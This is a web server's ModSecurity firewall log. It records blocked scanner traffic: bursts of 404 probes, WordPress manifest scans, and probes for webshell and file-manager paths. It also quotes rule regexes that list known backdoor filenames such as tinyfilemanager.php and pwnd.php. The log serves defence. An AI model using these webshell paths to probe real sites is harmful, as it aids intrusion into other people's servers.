[Mon Apr 13 09:49:23.983180 2026] [:error] [pid 7228:tid 7230] [client 51.77.216.81:52806] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "adxLowEnn1dQrOSHHNU5CQAAAQA"]
[Mon Apr 13 09:49:26.766694 2026] [:error] [pid 63309:tid 63322] [client 51.77.216.81:52810] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "adxLpkpIKZ10weXpf0WtMAAAAAk"]
[Mon Apr 13 09:49:29.420418 2026] [:error] [pid 63309:tid 63330] [client 51.77.216.81:52816] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "adxLqUpIKZ10weXpf0WtMgAAABE"]
[Mon Apr 13 09:49:32.138537 2026] [:error] [pid 7228:tid 7241] [client 51.77.216.81:40132] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "adxLrAEnn1dQrOSHHNU5GgAAAQs"]
[Mon Apr 13 09:49:34.771316 2026] [:error] [pid 63311:tid 63373] [client 51.77.216.81:40144] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "adxLrqHjrGN1MqBCVFlNgwAAAII"]
[Mon Apr 13 09:49:37.194082 2026] [:error] [pid 7228:tid 7240] [client 51.77.216.81:40156] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "adxLsQEnn1dQrOSHHNU5MwAAAQo"]
[Mon Apr 13 09:49:39.933283 2026] [:error] [pid 63406:tid 63411] [client 51.77.216.81:53014] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "adxLs7HZEIkQ0Zmgp5o6vAAAAMA"]
[Mon Apr 13 09:49:42.858869 2026] [:error] [pid 63309:tid 63324] [client 51.77.216.81:53030] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "adxLtkpIKZ10weXpf0WtPAAAAAs"]
[Mon Apr 13 09:49:45.437496 2026] [:error] [pid 7228:tid 7248] [client 51.77.216.81:53036] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "adxLuQEnn1dQrOSHHNU5QwAAARI"]
[Mon Apr 13 09:49:48.124557 2026] [:error] [pid 63310:tid 63347] [client 51.77.216.81:53048] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "adxLvHoXpRU5ztmwPjLJLgAAAEM"]
[Mon Apr 13 09:49:50.707475 2026] [:error] [pid 63309:tid 63336] [client 51.77.216.81:56622] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "adxLvkpIKZ10weXpf0WtRwAAABc"]
[Mon Apr 13 09:49:53.388752 2026] [:error] [pid 7228:tid 7253] [client 51.77.216.81:56628] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "adxLwQEnn1dQrOSHHNU5TAAAARc"]
[Mon Apr 13 09:49:55.938137 2026] [:error] [pid 63406:tid 63412] [client 51.77.216.81:56634] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "adxLw7HZEIkQ0Zmgp5o6zgAAAME"]
[Mon Apr 13 10:04:23.030913 2026] [:error] [pid 63311:tid 63392] [client 43.157.20.63:43450] [client 43.157.20.63] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "adxPJ6HjrGN1MqBCVFlTSQAAAJU"]
[Mon Apr 13 11:01:26.357315 2026] [:error] [pid 63406:tid 63425] [client 147.135.212.202:55218] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "adxchrHZEIkQ0Zmgp5pfdQAAAM4"]
[Mon Apr 13 11:01:28.702132 2026] [:error] [pid 63406:tid 63416] [client 147.135.212.202:36614] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "adxciLHZEIkQ0Zmgp5pffQAAAMU"]
[Mon Apr 13 11:01:31.023904 2026] [:error] [pid 63309:tid 63319] [client 147.135.212.202:36630] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "adxci0pIKZ10weXpf0XB2gAAAAY"]
[Mon Apr 13 11:01:33.460787 2026] [:error] [pid 63310:tid 63344] [client 147.135.212.202:36642] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "adxcjXoXpRU5ztmwPjLfcwAAAEA"]
[Mon Apr 13 11:01:36.062254 2026] [:error] [pid 63309:tid 63322] [client 147.135.212.202:57694] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "adxckEpIKZ10weXpf0XB2wAAAAk"]
[Mon Apr 13 11:01:38.675598 2026] [:error] [pid 63406:tid 63418] [client 147.135.212.202:57698] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "adxckrHZEIkQ0Zmgp5pfmAAAAMc"]
[Mon Apr 13 11:01:41.075313 2026] [:error] [pid 7228:tid 7244] [client 147.135.212.202:57708] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "adxclQEnn1dQrOSHHNVuTgAAAQ4"]
[Mon Apr 13 11:18:24.808294 2026] [:error] [pid 57183:tid 57192] [client 223.244.35.77:55381] [client 223.244.35.77] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "adxggDDO3t8R5NaxzYQQBgAAAUc"]
[Mon Apr 13 14:40:20.861250 2026] [:error] [pid 7228:tid 7242] [client 43.166.244.66:60894] [client 43.166.244.66] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "adyP1AEnn1dQrOSHHNUPZgAAAQw"]
[Mon Apr 13 15:09:08.445900 2026] [:error] [pid 63309:tid 63314] [client 8.229.162.101:59859] [client 8.229.162.101] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 8.229.162.101, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "adyWlEpIKZ10weXpf0XuLAAAAAE"]
[Mon Apr 13 15:09:09.057811 2026] [:error] [pid 63309:tid 63326] [client 8.229.162.101:59859] [client 8.229.162.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/web/wp-includes/wlwmanifest.xml"] [unique_id "adyWlUpIKZ10weXpf0XuMQAAAA0"]
[Mon Apr 13 15:09:09.761221 2026] [:error] [pid 57183:tid 57190] [client 8.229.162.101:63145] [client 8.229.162.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "adyWlTDO3t8R5NaxzYSF8gAAAUU"]
[Mon Apr 13 15:09:10.463905 2026] [:error] [pid 7228:tid 7233] [client 8.229.162.101:64337] [client 8.229.162.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/website/wp-includes/wlwmanifest.xml"] [unique_id "adyWlgEnn1dQrOSHHNUjywAAAQM"]
[Mon Apr 13 15:09:11.164691 2026] [:error] [pid 63309:tid 63327] [client 8.229.162.101:65489] [client 8.229.162.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "adyWl0pIKZ10weXpf0XuNgAAAA4"]
[Mon Apr 13 15:09:11.868942 2026] [:error] [pid 57183:tid 57201] [client 8.229.162.101:50517] [client 8.229.162.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/news/wp-includes/wlwmanifest.xml"] [unique_id "adyWlzDO3t8R5NaxzYSF9QAAAVA"]
[Mon Apr 13 15:09:12.572010 2026] [:error] [pid 63311:tid 63383] [client 8.229.162.101:52080] [client 8.229.162.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2018/wp-includes/wlwmanifest.xml"] [unique_id "adyWmKHjrGN1MqBCVFmwswAAAIw"]
[Mon Apr 13 15:09:13.275192 2026] [:error] [pid 7228:tid 7243] [client 8.229.162.101:53472] [client 8.229.162.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "adyWmQEnn1dQrOSHHNUj1QAAAQ0"]
[Mon Apr 13 15:09:13.979489 2026] [:error] [pid 57183:tid 57196] [client 8.229.162.101:54817] [client 8.229.162.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "adyWmTDO3t8R5NaxzYSF9gAAAUs"]
[Mon Apr 13 15:09:14.682564 2026] [:error] [pid 7228:tid 7252] [client 8.229.162.101:55661] [client 8.229.162.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "adyWmgEnn1dQrOSHHNUj3wAAARY"]
[Mon Apr 13 15:09:15.386482 2026] [:error] [pid 7228:tid 7238] [client 8.229.162.101:56445] [client 8.229.162.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "adyWmwEnn1dQrOSHHNUj4QAAAQg"]
[Mon Apr 13 15:09:16.090230 2026] [:error] [pid 7228:tid 7232] [client 8.229.162.101:57411] [client 8.229.162.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "adyWnAEnn1dQrOSHHNUj4wAAAQI"]
[Mon Apr 13 15:09:16.792747 2026] [:error] [pid 63406:tid 63434] [client 8.229.162.101:58435] [client 8.229.162.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "adyWnLHZEIkQ0Zmgp5q-KQAAANc"]
[Mon Apr 13 15:09:17.498183 2026] [:error] [pid 57183:tid 57201] [client 8.229.162.101:59545] [client 8.229.162.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "adyWnTDO3t8R5NaxzYSGBgAAAVA"]
[Mon Apr 13 15:09:18.201444 2026] [:error] [pid 63311:tid 63392] [client 8.229.162.101:60675] [client 8.229.162.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "adyWnqHjrGN1MqBCVFmwzQAAAJU"]
[Mon Apr 13 15:09:18.905774 2026] [:error] [pid 7228:tid 7253] [client 8.229.162.101:62052] [client 8.229.162.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "adyWngEnn1dQrOSHHNUj6AAAARc"]
[Mon Apr 13 15:47:58.671956 2026] [:error] [pid 57183:tid 57196] [client 162.62.213.165:58530] [client 162.62.213.165] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "adyfrjDO3t8R5NaxzYSb_AAAAUs"]
[Mon Apr 13 16:16:49.278119 2026] [:error] [pid 7228:tid 7248] [client 45.130.202.62:25937] [client 45.130.202.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "adymcQEnn1dQrOSHHNVIbwAAARI"]
[Mon Apr 13 16:16:50.620439 2026] [:error] [pid 57183:tid 57187] [client 45.130.202.106:28283] [client 45.130.202.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "adymcjDO3t8R5NaxzYSxXwAAAUI"]
[Mon Apr 13 16:16:52.802053 2026] [:error] [pid 63406:tid 63425] [client 45.130.202.105:56463] [client 45.130.202.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "adymdLHZEIkQ0Zmgp5ruUAAAAM4"]
[Mon Apr 13 16:16:55.140340 2026] [:error] [pid 57183:tid 57188] [client 45.130.202.58:46429] [client 45.130.202.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "adymdzDO3t8R5NaxzYSxiQAAAUM"]
[Mon Apr 13 16:16:57.139001 2026] [:error] [pid 63309:tid 63315] [client 45.130.202.109:61995] [client 45.130.202.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "adymeUpIKZ10weXpf0X5ygAAAAI"]
[Mon Apr 13 16:16:57.883060 2026] [:error] [pid 7228:tid 7235] [client 45.130.202.59:28991] [client 45.130.202.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "adymeQEnn1dQrOSHHNVIdwAAAQU"]
[Mon Apr 13 16:16:58.374782 2026] [:error] [pid 63406:tid 63421] [client 45.130.202.80:33411] [client 45.130.202.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "adymerHZEIkQ0Zmgp5rueQAAAMo"]
[Mon Apr 13 16:16:58.883278 2026] [:error] [pid 63406:tid 63430] [client 45.130.202.60:25223] [client 45.130.202.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "adymerHZEIkQ0Zmgp5rufwAAANM"]
[Mon Apr 13 16:16:59.389206 2026] [:error] [pid 9314:tid 9332] [client 45.130.202.102:30123] [client 45.130.202.102] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "adyme2_r4W8fX2GWyGSxGwAAAZA"]
[Mon Apr 13 16:17:00.929960 2026] [:error] [pid 57183:tid 57207] [client 45.130.202.86:30497] [client 45.130.202.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "adymfDDO3t8R5NaxzYSxowAAAVY"]
[Mon Apr 13 16:17:01.691924 2026] [:error] [pid 57183:tid 57203] [client 45.130.202.80:28321] [client 45.130.202.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "adymfTDO3t8R5NaxzYSxpwAAAVI"]
